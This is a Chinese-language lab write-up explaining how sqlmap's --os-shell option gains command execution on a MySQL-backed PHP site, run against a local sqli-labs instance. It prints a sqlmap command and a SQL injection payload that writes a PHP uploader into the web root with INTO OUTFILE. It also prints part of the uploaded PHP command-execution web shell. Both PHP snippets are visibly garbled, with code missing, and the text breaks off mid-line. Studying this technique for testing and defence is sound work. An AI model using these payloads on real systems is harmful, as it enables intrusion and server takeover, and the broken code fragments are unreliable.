+

os-shell原理

sqlmap --os-shell 原理详解

文章概要

这篇文章详细解释了使用 sqlmap​ 的 --os-shell​ 选项在 MySQL 数据库中的执行原理。通过实验,展示了如何利用 sqlmap​ 实现对目标系统的命令执行。

--os-shell 执行原理

基本原理

对于 MySQL 数据库,--os-shell​ 的本质是写入两个 PHP 文件:
1.
tmpugvzq.php​:用于上传文件到网站路径。
2.
tmpbylqf.php​:用于命令执行,并将输出的内容返回 sqlmap​ 端。

实验环境

实验环境采用本地搭建的 sqli-libs​,假设已知网站绝对路径且利用条件符合。

利用条件

知道网站的绝对路径
高权限数据库用户
secure_file_priv​ 无限制
网站路径有写入权限

实验步骤

1.
设置拦截状态
打开 Burp Suite 并设置为拦截状态。
使用 sqlmap​ 执行 --os-shell​,并设置代理为本地 8080 端口,以便在 Burp Suite 中抓取数据包。
bash
python sqlmap.py -u http://127.0.0.1/sqli-master/Less-1?id=1 --os-shell --proxy=http://127.0.0.1:8080
2.
选择参数
选择 PHP 语言。
选择绝对路径(选项二:用户自己输入路径)。
3.
数据包分析
前六个数据包是普通的 SQL 注入测试。
第七个数据包包含写入 tmpugvzq.php​ 的 SQL 语句:
sql
-5906' OR 2054=2054 LIMIT 0,1 INTO OUTFILE 'C:/Users/zhang/Desktop/php/PHPTutorial/WWW/sqli-master/Less-1/tmpugvzq.php' LINES TERMINATED BY 0x3c3f7068700a...
tmpugvzq.php​ 代码:
php
sqlmap file uploader

to directory: "; } ?>
4.
上传命令执行文件
通过 POST 方法上传 tmpbylqf.php​,其内容为命令执行代码:
php
&1\n"; function f($n) { global $z; return is_callable($n) and !in_array($n, $z); } if (f("system")) { ob_start(); system($c); $w = ob_get_clean(); } elseif (f("proc_open")) { $y = proc_open($c, [ [pipe, r], [pipe, w], [pipe, w] ], $t);